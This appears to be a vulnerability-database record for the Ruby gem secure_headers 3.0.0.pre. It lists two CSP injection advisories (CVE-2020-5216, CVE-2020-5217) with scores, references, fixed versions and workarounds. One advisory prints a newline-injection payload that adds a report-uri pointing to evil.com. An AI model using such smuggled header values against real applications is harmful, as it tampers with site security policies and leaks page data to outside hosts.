Lookup for vulnerable packages by Package URL.

Purlpkg:gem/secure_headers@3.0.0.pre
Typegem
Namespace
Namesecure_headers
Version3.0.0.pre
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_version3.9.0
Latest_non_vulnerable_version6.3.0
Affected_by_vulnerabilities
0
url VCID-1hff-pbpa-p3e5
vulnerability_id VCID-1hff-pbpa-p3e5
summary
Limited header injection when using dynamic overrides with user input in RubyGems secure_headers
### Impact

If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.

Upon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline.

e.g.

```ruby
override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])` 
```

would result in 

```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header
```

CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:

```ruby
override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"]) 
```
```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src 'none'; report-uri evil.com
Content-Security-Policy: rest-of-the-header
```

### Patches

This has been fixed in 6.3.0, 5.2.0, and 3.9.0

### Workarounds

```ruby
override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])
```

### References

https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c
[The effect of multiple policies](https://www.w3.org/TR/CSP3/#multiple-policies)

### For more information

If you have any questions or comments about this advisory:
* Open an issue in [this repo](https://github.com/twitter/secure_headers/security/advisories/new)
* DM us at @ndm on twitter
references
0
reference_url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2020-5216.json
reference_id
reference_type
scores
0
value 5.8
scoring_system cvssv3
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2020-5216.json
1
reference_url https://api.first.org/data/v1/epss?cve=CVE-2020-5216
reference_id
reference_type
scores
0
value 0.00347
scoring_system epss
scoring_elements 0.57287
published_at 2026-04-13T12:55:00Z
1
value 0.00347
scoring_system epss
scoring_elements 0.57308
published_at 2026-04-12T12:55:00Z
2
value 0.00347
scoring_system epss
scoring_elements 0.57327
published_at 2026-04-11T12:55:00Z
3
value 0.00347
scoring_system epss
scoring_elements 0.57314
published_at 2026-04-09T12:55:00Z
4
value 0.00347
scoring_system epss
scoring_elements 0.57312
published_at 2026-04-08T12:55:00Z
5
value 0.00347
scoring_system epss
scoring_elements 0.57261
published_at 2026-04-07T12:55:00Z
6
value 0.00347
scoring_system epss
scoring_elements 0.57283
published_at 2026-04-04T12:55:00Z
7
value 0.00347
scoring_system epss
scoring_elements 0.57179
published_at 2026-04-01T12:55:00Z
8
value 0.00347
scoring_system epss
scoring_elements 0.5726
published_at 2026-04-02T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2020-5216
2
reference_url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5216
reference_id
reference_type
scores
url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5216
3
reference_url https://github.com/rubysec/ruby-advisory-db/blob/master/gems/secure_headers/CVE-2020-5216.yml
reference_id
reference_type
scores
0
value 4.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/rubysec/ruby-advisory-db/blob/master/gems/secure_headers/CVE-2020-5216.yml
4
reference_url https://github.com/twitter/secure_headers
reference_id
reference_type
scores
0
value 4.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/twitter/secure_headers
5
reference_url https://github.com/twitter/secure_headers/commit/301695706f6a70517c2a90c6ef9b32178440a2d0
reference_id
reference_type
scores
0
value 4.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/twitter/secure_headers/commit/301695706f6a70517c2a90c6ef9b32178440a2d0
6
reference_url https://github.com/twitter/secure_headers/security/advisories/GHSA-w978-rmpf-qmwg
reference_id
reference_type
scores
0
value 4.4
scoring_system cvssv3
scoring_elements
1
value 4.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
2
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
3
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/twitter/secure_headers/security/advisories/GHSA-w978-rmpf-qmwg
7
reference_url https://nvd.nist.gov/vuln/detail/CVE-2020-5216
reference_id
reference_type
scores
0
value 4.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2020-5216
8
reference_url https://bugzilla.redhat.com/show_bug.cgi?id=1801286
reference_id 1801286
reference_type
scores
url https://bugzilla.redhat.com/show_bug.cgi?id=1801286
9
reference_url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=949998
reference_id 949998
reference_type
scores
url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=949998
10
reference_url https://github.com/advisories/GHSA-w978-rmpf-qmwg
reference_id GHSA-w978-rmpf-qmwg
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-w978-rmpf-qmwg
11
reference_url https://access.redhat.com/errata/RHSA-2020:4366
reference_id RHSA-2020:4366
reference_type
scores
url https://access.redhat.com/errata/RHSA-2020:4366
fixed_packages
0
url pkg:gem/secure_headers@3.9.0
purl pkg:gem/secure_headers@3.9.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@3.9.0
1
url pkg:gem/secure_headers@5.2.0
purl pkg:gem/secure_headers@5.2.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@5.2.0
2
url pkg:gem/secure_headers@6.0.0.alpha01
purl pkg:gem/secure_headers@6.0.0.alpha01
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@6.0.0.alpha01
3
url pkg:gem/secure_headers@6.3.0
purl pkg:gem/secure_headers@6.3.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@6.3.0
aliases CVE-2020-5216, GHSA-w978-rmpf-qmwg
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-1hff-pbpa-p3e5
1
url VCID-utte-4yve-n7eq
vulnerability_id VCID-utte-4yve-n7eq
summary
Directive injection when using dynamic overrides with user input
### Impact

If user-supplied input was passed into `append/override_content_security_policy_directives`, a semicolon could be injected leading to directive injection.

This could be used to e.g. override a `script-src` directive. Duplicate directives are ignored and the first one wins. The directives in `secure_headers` are sorted alphabetically so they pretty much all come before `script-src`. A previously undefined directive would receive a value even if `SecureHeaders::OPT_OUT` was supplied.

The fixed versions will silently convert the semicolons to spaces and emit a deprecation warning when this happens. This will result in innocuous browser console messages if being exploited/accidentally used. In future releases, we will raise application errors resulting in 500s.

> Duplicate script-src directives detected.  All but the first instance will be ignored.

See https://www.w3.org/TR/CSP3/#parse-serialized-policy

> Note: In this case, the user agent SHOULD notify developers that a duplicate directive was ignored. A console warning might be appropriate, for example.

### Patches

Depending on what major version you are using, the fixed versions are 6.2.0, 5.1.0, 3.8.0.

### Workarounds

If you are passing user input into the above methods, you could filter out the input:

```ruby
override_content_security_policy_directives(:frame_src, [user_input.gsub(";", " ")])
```

### References

Reported in https://github.com/twitter/secure_headers/issues/418
https://www.w3.org/TR/CSP3/#parse-serialized-policy

### For more information

If you have any questions or comments about this advisory:
* Open an issue in [this repo](https://github.com/twitter/secure_headers/issues/new)
* DM @ndm on twitter
references
0
reference_url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2020-5217.json
reference_id
reference_type
scores
0
value 5.8
scoring_system cvssv3
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2020-5217.json
1
reference_url https://api.first.org/data/v1/epss?cve=CVE-2020-5217
reference_id
reference_type
scores
0
value 0.00521
scoring_system epss
scoring_elements 0.66844
published_at 2026-04-13T12:55:00Z
1
value 0.00521
scoring_system epss
scoring_elements 0.66876
published_at 2026-04-12T12:55:00Z
2
value 0.00521
scoring_system epss
scoring_elements 0.6689
published_at 2026-04-11T12:55:00Z
3
value 0.00521
scoring_system epss
scoring_elements 0.6687
published_at 2026-04-09T12:55:00Z
4
value 0.00521
scoring_system epss
scoring_elements 0.66857
published_at 2026-04-08T12:55:00Z
5
value 0.00521
scoring_system epss
scoring_elements 0.66808
published_at 2026-04-07T12:55:00Z
6
value 0.00521
scoring_system epss
scoring_elements 0.6681
published_at 2026-04-02T12:55:00Z
7
value 0.00521
scoring_system epss
scoring_elements 0.66772
published_at 2026-04-01T12:55:00Z
8
value 0.00521
scoring_system epss
scoring_elements 0.66835
published_at 2026-04-04T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2020-5217
2
reference_url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5217
reference_id
reference_type
scores
url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5217
3
reference_url https://github.com/rubysec/ruby-advisory-db/blob/master/gems/secure_headers/CVE-2020-5217.yml
reference_id
reference_type
scores
0
value 4.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/rubysec/ruby-advisory-db/blob/master/gems/secure_headers/CVE-2020-5217.yml
4
reference_url https://github.com/twitter/secure_headers
reference_id
reference_type
scores
0
value 4.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/twitter/secure_headers
5
reference_url https://github.com/twitter/secure_headers/commit/936a160e3e9659737a9f9eafce13eea36b5c9fa3
reference_id
reference_type
scores
0
value 4.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/twitter/secure_headers/commit/936a160e3e9659737a9f9eafce13eea36b5c9fa3
6
reference_url https://github.com/twitter/secure_headers/issues/418
reference_id
reference_type
scores
0
value 4.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/twitter/secure_headers/issues/418
7
reference_url https://github.com/twitter/secure_headers/pull/421
reference_id
reference_type
scores
0
value 4.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/twitter/secure_headers/pull/421
8
reference_url https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c
reference_id
reference_type
scores
0
value 4.4
scoring_system cvssv3
scoring_elements
1
value 4.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
2
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
3
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c
9
reference_url https://nvd.nist.gov/vuln/detail/CVE-2020-5217
reference_id
reference_type
scores
0
value 4.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2020-5217
10
reference_url https://bugzilla.redhat.com/show_bug.cgi?id=1801264
reference_id 1801264
reference_type
scores
url https://bugzilla.redhat.com/show_bug.cgi?id=1801264
11
reference_url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=949999
reference_id 949999
reference_type
scores
url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=949999
12
reference_url https://github.com/advisories/GHSA-xq52-rv6w-397c
reference_id GHSA-xq52-rv6w-397c
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-xq52-rv6w-397c
13
reference_url https://access.redhat.com/errata/RHSA-2020:4366
reference_id RHSA-2020:4366
reference_type
scores
url https://access.redhat.com/errata/RHSA-2020:4366
fixed_packages
0
url pkg:gem/secure_headers@3.8.0
purl pkg:gem/secure_headers@3.8.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1hff-pbpa-p3e5
resource_url http://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@3.8.0
1
url pkg:gem/secure_headers@5.1.0
purl pkg:gem/secure_headers@5.1.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1hff-pbpa-p3e5
resource_url http://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@5.1.0
2
url pkg:gem/secure_headers@6.2.0
purl pkg:gem/secure_headers@6.2.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1hff-pbpa-p3e5
resource_url http://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@6.2.0
aliases CVE-2020-5217, GHSA-xq52-rv6w-397c
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-utte-4yve-n7eq
Fixing_vulnerabilities
Risk_score3.1
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@3.0.0.pre